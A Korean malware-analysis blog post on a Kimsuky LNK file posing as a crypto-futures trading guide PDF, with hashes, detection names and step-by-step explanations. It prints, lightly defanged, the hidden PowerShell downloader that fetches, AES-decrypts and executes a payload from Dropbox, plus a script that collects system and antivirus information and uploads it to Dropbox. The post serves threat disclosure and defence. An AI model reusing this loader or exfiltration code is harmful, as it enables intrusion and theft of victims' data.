꿈을꾸는 파랑새

오늘은 언제나 김수키(Kimsuky)에서 만든 악성코드인 코인 선물 트레이딩으로 위장하는 악성코드-코인 선물 트레이딩 비법서, 수익률 증폭의 핵심 원리.pdf.lnk(2024.10.14)에 대해 글을 적어 보겠습니다.
일단 해당 악성코드는 제목에서도 알 수가 있듯이 코인 선물 트레이딩 비법서, 수익률 증폭의 핵심 원리이라는 제목으로 돼 있으며 해당 악성코드는 코인 이나 선물 같은 것을 하는 분들을 노려서 계정을 털고 해당 수익을 탈취하려고 하는 목적이 매우 눈에 보이는 악성코드입니다.
먼저 악성코드 해쉬값
파일명: 코인 선물 트레이딩 비법서, 수익률 증폭의 핵심 원리.pdf.lnk
사이즈:9.98 MB
MD5:4e317495e0c2ae3e46a9f7a810184b30
SHA-1:d47fe15d4f1176e1952d11b2cfeaebb1b8e2f2b7
SHA-256:af0b9aea91b2ea6567fbd4ba19839b42b05e0a7ef0da4f497505f998ca3c0503
입니다.

코인 선물 트레이딩 비법서, 수익률 증폭의 핵심 원리.pdf.lnk 포함된 악성 파워셀 코드
코인 선물 트레이딩 비법서, 수익률 증폭의 핵심 원리.pdf.lnk 포함된 악성 파워셀 코드

그리고 악성코드 에 포함된 PowerShell 코드는 다음과 같습니다.

StringData
{
    namestring: Type: Text (D)ocument
    Size: 5.23 KB
    Date modified: 01/02/(2)020 11:23
    relativepath: not present
    workingdir: not present
    commandl(i)nearguments:
    /c powe(r)shell -win(d)owstyle hidden -nop -No(P)rofile -NonI(n)teractive  
    -c "$tmp = '%t(e)mp%';$lnkxx(x)xxx(x)xxxxxxxxx = 0x009(F)D0E0;$len1 =    
    1053(8)92;$len2 =   1045(8)736;$len3 =   10(4)58736;$alis=@('m(o)rySt',
    '898','De(r)ive');$ms=-join ('Me',$ali(s)[0],'ream');$rf=(-)join('Rfc2'
    ,($)alis[1],$alis[2],'Bytes');$st(r)=@($ms,'ry(p)to',$rf, 'esM(a)nag', 
    'rea');$re(p)=@('msx','r(x)','R(F)DB','ma(n)g','ff');$def='u(s)ing Syst
    em;using Syst(e)m.IO;using Syste(m).Security.Cr(x)graphy;public class I
    nit{public st(a)tic Byte[] Dec(Byte[] inBy(t)es,string pwd){msx im=new 
    msx(inByte(s));Byte[] s=new Byte[(3)2];int len=im.(R)ead(s,0,s.Leng(t)h
    );if(len!=s.L(e)ngth){ret(u)rn null;}RF(D)B pbk=new RFDB(pwd(,)s);Byte[
    ] key=pbk(.)GetBytes(32);Byte[] iv=p(b)k.GetBytes(16);Aman(g)ed ma=new 
    Ama(n)ged();ICrxTransform Dec=ma.Cf(f)teDecrxr(key,iv);Cr(x)Stffm cs=ne
    w CrxS(t)ffm(im,Dec,0);m(s)x om=new msx();cs.CopyT(o)(om);om.Dispose();
    ret(u)rn om.ToArray();}}';$i=0;$(a)=1;$p='hoop';$s(=)@(':','s:')(;)$r=$
    p -replace 'o','(t)';foreach(()$i(t)em in $rep){$d(e)f=$def -replace $i
    tem,$str[($)i];$i++;}Add(-)Type -Ty(p)eDefinition $def;$pwd='pa55w0rd';
    $uh='dl.dropboxuser(c)ontent(.)com/scl/fi/';$agent=('Mozilla/5.0','(Wi(
    n)dows NT 10.0; Win64; x64)','AppleW(e)bKit/537.36','(KHTML,li(k)e Geck
    o)','Chrome/104(.)0.0.0','Safari/(5)37.36') -join ' ';$r=-j(o)in ($r,$s
    [$a],'//',$uh);$ui=$r+'unk6wfun4ys2hyoekf00w/ad_ps.bin?rlkey=tzje3yre9h
    cve3i3b62pur1ou&st=d0n1avij&dl=0';$req=@{uri=$ui;useragent=$agent};tr(y
    ){[Byte[]]$b(y)tes=(wget @(r)eq).content;} catc(h) {if($a -eq 1){$(u)i=
    $ui -replace $s[1],$s[0];$req=@{uri(=)$ui(;)useragent=$a(g)ent};[Byte[]
    ]$byt(e)s=(wget @req).content;}}[Byte[]]$decby(t)es=[Init]::Dec($b(y)te
    s,$pwd);$sc=[System(.)Text.Encoding]::ASCII(.)GetString($dec(b)ytes);ie
    x -command $sc;"
    iconlocation: .\1(.)pdf
}

코드 분석

PowerShell 명령어 사용을 해서 악성코드를 실행하는 방식 사용을 하고 있습니다. 
1.PowerShell 실행 옵션
powershell -windowstyle hidden -nop -NoProfile -NonInteractive
-windowstyle hidden:PowerShell 창을 숨긴 상태에서 실행하여 사용자에게 보이지 않게 만드는 역할
-nop:NoProfile의 약어 PowerShell 프로필을 로드 하지 않음으로써 실행 속도를 높임
-NoProfile:사용자 정의 프로필 없이 실행되어 스크립트가 외부 환경의 영향을 받지 않도록 함
-NonInteractive:대화형 입력이 필요하지 않도록 설정하여 모든 작업이 자동으로 진행
2. 변수 정의 및 문자열 조작
$tmp = '%temp:임시 디렉터리를 나타내는 %temp%를 $tmp 변수에 저장
$lnkxxxxxxxxxxxxxxxx,$len1,$len2,$len3:각각 특정 메모리 주소, 파일 크기 등을 설정 이후에 사용할 데이터의 설정
$alis,$ms,$rf:각각 여러 문자열을 배열 형태로 나열하고 이를 결합하여 암호화 관련 문자열을 생성
$alis`는 @(morySt,898,Derive)이고 이를 이용해 $ms = MemoryStream ,$rf = Rfc2898(D)eriveBytes 같은 값을 생성
$str:암호화 관련된 클래스나 메서드를 정의하기 위한 문자열
3.C# 코드 조각 추가 및 컴파일*
$def: C# 코드를 나타내는 문자열
코드의 목적은 암호화된 데이터를 특정 암호 키를 사용해 복호화하는 함수 Dec을 포함
C# 코드

using System;using System(.)IO;using Sy(s)tem.Security.Crxgraphy;
     public class Init{
         public stat(i)c Byte[] Dec(Byte[] inBytes,string pwd){
             msx im=n(e)w msx(inBytes);
             Byte[] s=ne(w) Byte[32];
             int len=im.Rea(d)(s(,)0,s.Length);
             if(len!=s.Length){(r)eturn null;}
             RFDB pbk=new RFDB(p(w)d,s);
             Byte[] key=pbk(.0GetBytes(32);
             Byte[] iv=pbk(.)GetBytes(16);
             Amanged ma=new A(m)anged();
             ICrxTransform Dec=m(a).CffteDecrxr(key,iv);
             CrxStffm cs=new Crx(S)tffm(im,Dec,0);
             msx om=(n)ew msx();
             cs.Copy(T)o(om);
             om.Dis(p)ose();
             return om(.)ToArray();
         }
     }

해당 코드에서 Init 클래스는 Dec 라는 메서드를 통해 파일을 복호화하는 역
바이트 키와 16바이트 IV(초기화 벡터)를 사용하여 암호화된 데이터를 복원
4. 원격 파일 다운로드 및 실행
$uh=dl(.)dropboxusercontent(.)com/scl/fi/:외부 서버 주소(Dropbox)를 저장
$agent:사용자 에이전트 문자열을 설정하여 브라우저처럼 보이게 만들면 탐지 피하는 목적
$ui:다운로드할 파일의 URL을 구성 해당 경우 파일은 ad_ps.bin이라는 바이너리 파일
$req:URL 및 사용자 에이전트를 포함한 요청 객체를 만듬
try 블록:
wget 명령어를 사용해 위에서 정의한 URL로부터 파일을 다운로드
만약 첫 번째 시도가 실패하면 URL의 일부분을 수정하여 재시도
해당 파일은 바이너리 파일로 다운로드되며 복호화되고 PowerShell을 사용해 실행
복호화 과정:[Byte[]]$decbytes=[Init]::D(e)c($bytes,$pwd);  
다운로드한 파일($bytes)을 앞서 정의한 C# 클래스 Init의 Dec 메서드를 이용해 복호화
복호화에 사용된 암호는 pa55w0rd
실행:복호화된 파일의 내용은 $sc=[System(.)Text(.)Encoding]::ASCII.G(e)tString($(d)ecbytes);을 통해 문자열로 변환
최종적으로 iex (-)command $sc를 사용해 실행
요약
PowerShell 스크립트는 외부에서 암호화된 파일을 다운로드한 후 이를 특정 패스워드로 복호화하고 실행하는 악성코드의 전형적인 행동 방식 해당 과정은 사용자에게 숨겨져 있으며 암호화된 데이터를 이용해 보안 소프트웨어 등을 탐지 를 회피하기 위한 목적

시스템 정보를 수집 Dropbox API를 사용하여 외부로 전송
시시스템 정보를 수집 Dropbox API를 사용하여 외부로 전송

시스템 정보를 수집 Dropbox API를 사용하여 외부로 전송

$ttttttttttttttttttttttpppppppppppppppppppp = $env:AppData;

$tokenRequestParams = @{
    grant_type    = "refresh_token"
    refresh_token = "????????????AAAARbb3dql6gY05qoeFNp2cjkuzzt0lVayYa2aLj-OzrzW";
    client_id     =  "???????"
    client_secret = ?????"
}
$qwa = "hxxps://a" (+) "pi(.)dr" (+) "opboxa" + "pi(.)com/oau" (+) "th2/to" + "ken"
$myttto = Invoke-Re(s)tMethod -Uri $qw(a) -Method Pos(t) -Body $tok(e)nRequestParams


$ipAddress = (Get-WmiObject Win32(_)NetworkAdapterC(o)nfiguration | Where-Obj(e)ct 
{ $_.IP(A)ddress -ne $(n)ull }).I(P)Address[0]
$currentT(i)me = Get(-)Date (-)Format "MMdd_HHmm"
$fileName = "$ipAddress-$currentTi(m)e-RRR-garriott.txt"
$srcPath = Join-Path $ttttttttttttttt(t)ttttttpppppppppppppppppppp $fileName
(Get-CimInstance Win32(_)OperatingSystem)(.)LastBootUpTime | Out-(F)ile -Fi
l(e)Path $sr(c)Path
(Get-CimIns(t)ance Win32(_)OperatingSystem | Select(-)Object Caption, Ve(r
)sion, Build(N)umber, OS(A)rchitecture) | Out-File -FilePath $srcPath (-)Append
 Get-WmiObje(c)t -Class Win32_Compu(t)erSystem | Out-File -FilePath $srcPath -Append
if ((Get-WmiObject -Class Win32_Compute(r)System).PCSystemType -eq 2) {
    Write-Output "Note" | Out-File -FilePa(t)h $srcPath -Append
} else {
    Write-Output "Des(k)" | Out-F(i)le -FilePath ($)srcPath -A(p)pend
}


(Get-WmiObject -Namespace root\Security(C)enter2 -Class Anti(V)irusProduct).displa(y)Name 
| Out-File -FilePath $srcPath -Append




 (Get-WmiObject Win32_Operatin(g)System).InstallDate | Out-Fi(l)e -F(i)lePath 
 $src(P)ath -Append

$process(e)s = Get(-)Process
$processes | Out-File (-)FileP(a)th $src(P)ath -Append




$outputFile = Split(-)Path $srcPath (-)leaf
$tttttffffppp="/github(/)howto_fi(r)st/$outputFile"
$arg = '{ "path": "' + $tttttffffp(p)p (+) '", "mode": "a(d)d", "autor(e)name": 
true, "mute": false }'
$authorization = "Be(a)rer " + $($myttto.access_token)
$headers = New-Object "(S)ystem.Collecti(o)ns.Generic.Dicti(o)nary[[String],[String]]"
$headers.Add("Auth(o)rization", $authorization)
$headers.Add("Dropbox(-)API-Arg", $arg)
$headers.Add("Content-Ty(p)e", 'application/octet-stream')

$diauyadsf = "djdai(d)jaid"
$diaahah = "1818adjfia(s)djif"
$djaijd = 19029831283(8)123
$urrrr = "hxxps://content(.)drop"+"(b)oxa"+"pi(.)com/2/f" + "iles/uplo" (+) "ad";
Invoke-RestMet(h)od -Uri $ur(r)rr -Method Pos(t) -InFile $(s)rcPath -Head(e)rs $h(e)aders
Remove-I(t)em -Path ($)srcPath;

코드 분석

해당 PowerShell 스크립트는 시스템 정보를 수집하고 이를 Dropbox API를 사용하여 외부로 전송
전형적인 정보 탈취 악성코드 수집한 정보를 클라우드 서비스로 업로드하는 기능을 포함
1Dropbox API 사용 및 OAuth 토큰 요청
$tokenRequestParams:Dropbox의 OAuth2 API를 이용해 refresh_token, client_id, 그리고 client_secret을 포함한 요청을 보내는 변수
$tokenRequestParams = @{
refresh_token:Dropbox에 대한 지속적인 액세스를 위한 갱신 토큰 이를 통해 새 access_token을 받을 수 있음
client_id,client_secret:Dropbox API에 대한 인증 정보를 포함하며 이는 특정 클라이언트의 자격 증명을 의미
$qwa:Dropbox API의 토큰 그리고 포인트 URL을 구성
문자열을 분할해서 결합하는 방식은 탐지를 피하기 위한 전형적인 기법
Invoke-RestMethod:Dropbox API에 POST 요청을 보내서 access_token을 얻음 
응답으로 받은 access_token은 Dropbox와 상호작용하는 데 사용
2.시스템 정보 수집
IP 주소 및 현재 시각 기반 파일 이름 생성:
시스템의 IP 주소와 현재 날짜 및 시간을 기반으로 고유한 파일 이름을 생성 해당 파일은 정보가 저장된 텍스트 파일로 이후 외부로 전송
시스템 부팅 시간 및 OS 정보 수집:
시스템의 마지막 부팅 시간과 운영체제 버전, 빌드 넘버, 아키텍처 정보를 파일에 저장
컴퓨터 유형 확인:
컴퓨터가 노트북인지 데스크톱인지 확인하고 그 결과를 파일에 기록
설치된 안티바이러스 제품 정보 수집:
설치된 안티바이러스 제품의 이름을 수집하여 파일에 추가 이는 시스템 보안 상태를 확인하려는 시도
운영체제 설치 날짜 및 프로세스 목록 수집:
운영체제 설치 날짜와 현재 실행 중인 모든 프로세스를 파일에 기록
3. 수집한 정보의 Dropbox 업로드
path:업로드할 파일의 경로
mode:파일이 이미 존재하는 경우에는 새로운 이름으로 추가
autorename:같은 파일 이름이 있을 경우 자동으로 이름을 변경하는 옵션
파일 업로드 요청:
Dropbox에 인증을 위해 Bearer 토큰을 사용
파일 업로드 API를 호출할 때 필요한 헤더를 설정
Invoke-RestMethod를 통한 파일 업로드:
수집한 정보를 Dropbox로 전송
파일을 업로드한 후 로컬 파일은 Remove-Item -Path $srcPath;로 삭제

dnSpyex 본 악성코드 생성한 Dll 파일
dnSpyex 본 악성코드 생성한 Dll 파일

Dll 파일 생성

' Init
' Token: 0x060(0)0001 RID: 1 RVA: 0x00(0)02050 File Offset: 0x0(0)000250
Public Shared Function Dec(inBytes (A)s Byte(), pwd (A)s String) As (B)yte()
	Dim memoryStream As MemoryS(t)ream = New M(e)moryStream(inBytes)
	Dim array As (B)yte() = New (B)yte(31) {}
	Dim num As (I)nteger = memoryStr(e)am.Read(array, (0), ar(r)ay.Length)
	If num <> a(r)ray.Length Then
		Return Not(h0ing
	End (I)f
	Dim rfc(2)898DeriveBytes As Rfc2898(D)eriveBytes = New Rfc2898DeriveBytes(pwd, array)
	Dim bytes As Byte() = rfc2898DeriveB(y)tes.GetBytes(32)
	Dim bytes2 As Byte() = rfc2898DeriveBy(t)es.GetBytes(16)
	Dim aesManag(e)d As AesManaged = New Aes(M)anaged()
	Dim cryptoT(r)ansform As ICryptoTransform = aesManaged.CreateDecryptor(bytes, bytes2)
	Dim cryptoStrea(m) As CryptoStream = New Crypt(o)Stream(memoryStream, cryptoTransform, CryptoStreamMode.Read)
	Dim memoryStrea(m)2 As MemoryStream = New Memory(S)tream()
	cryptoStream.Copy(T)o(memory(S)tream2)
	memoryStream2(.)Dispose()
	Return memoryStr(e)am2.ToArray()
End Function

DLL 코드 분석

.NET에서 작성된 암호화 해제(복호화) 함수 해당 함수는 주어진 바이트 배열(inBytes)과 패스워드(pwd)를 사용하여 AES 암호화된 데이터를 복호화
1.메모리 스트림 생성
inBytes는 암호화된 데이터가 들어 있는 바이트 배열 해당 데이터를 복호화하기 위해 MemoryStream에 로드
2. 암호화에 사용된 Salt 읽기
암호화 과정에서 생성된 32바이트 Salt를 읽음 array는 Salt를 저장하는 배열이고 memoryStream(.)Read 메서드를 사용해 첫 32바이트를 읽어들임
만약 읽은 데이터의 길이가 예상한 32바이트보다 적으면 복호화가 실패했음을 나타내며, 함수는 Nothing을 반환하여 종료
3.Rfc2898DeriveBytes 객체 생성
Rfc2898DeriveBytes 클래스는 PBKDF2 알고리즘을 구현한 것으로 패스워드(pwd)와 앞서 읽은 32바이트의 Salt를 이용해 암호화 키를 생성
해당 클래스는 두 가지 바이트 배열을 생성
32바이트의 키 (bytes): AES 암호화의 키로 사용
16바이트의 IV (초기화 벡터, bytes2): 블록 암호화 모드에서 필요한 값
4.AES 복호화 설정
AesManaged 객체를 사용하여 AES 복호화를 수행
AES는 대칭 키 암호화 알고리즘으로 앞서 생성된 32바이트의 키(bytes)와 16바이트의 초기화 벡터(bytes2)가 필요
CreateDecryptor 메서드를 호출하여 복호화에 사용할 ICryptoTransform 객체를 생성
5.암호화된 데이터 복호화
CryptoStream 객체는 실제로 암호화된 데이터를 처리하는 스트림
memoryStream에서 데이터를 읽고 cryptoTransform을 통해 복호화하고 memoryStream2 에 복호화된 데이터를 씀
CopyTo 메서드를 사용하여 복호화된 데이터를 memoryStream2로 복사
6. 메모리 정리 및 결과 반환
memoryStream2.Dispose를 호출하여 memoryStream2을 정리하고 복호화된 데이터를 바이트 배열로 변환하여 반환
해당 함수는 AES 알고리즘을 사용하여 암호화된 데이터를 복호화
패스워드를 기반으로 PBKDF2를 사용해 32바이트의 암호화 키와 16바이트의 초기화 벡터(IV)를 생성하고 이를 통해 암호화된 데이터를 복호화
2024.10.14 06:06 기준 탐지 하고 있는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Trojan/LNK.Powershell.XSG12
AliCloud:Trojan:Multi/Powecod.i
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Heur.BZC.YAX.Boxter.819.5DF0D1DD
Avast:LNK:Agent-HY [Trj]
AVG:LNK:Agent-HY [Trj]
BitDefender:Heur.BZC.YAX.Boxter.819.5DF0D1DD
CTX:Lnk.trojan.boxter
Emsisoft:Trojan.PowerShell.Gen (A)
eScan:Heur.BZC.YAX.Boxter.819.5DF0D1DD
ESET-NOD32:A Variant Of Generik.HAAXTHF
GData:Heur.BZC.YAX.Boxter.819.5DF0D1DD
Google:Detected
Ikarus:Win32.Outbreak
Kaspersky:HEUR:Trojan.Multi.Powecod.i
Lionic:Trojan.WinLNK.Boxter.4!c
Rising:Trojan.PSRunner/LNK!1.DB7E (CLASSIC)
Sangfor Engine Zero:Trojan.Lnk.Agent.Vtd3
SentinelOne (Static ML):Static AI - Suspicious LNK
Skyhigh (SWG):BehavesLike.Dropper.tb
Sophos:Troj/LnkObf-T
Symantec:Scr.Mallnk!gen13
Trellix (HX):Heur.BZC.YAX.Boxter.819.5DF0D1DD
Varist:LNK/ABTrojan.ZPLD-
VBA32:Trojan.Link.Crafted
VIPRE:Heur.BZC.YAX.Boxter.819.5DF0D1DD
VirIT:Trojan.LNK.Heur.A
ZoneAlarm by Check Point:HEUR:Trojan.Multi.Powecod.i.
겁나게 같은 민족 이면서 한국 국민의 재산을 강탈 해서 무기 만드는데 이용 하는 해킹 조직 김수키에 대해 알아보았습니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band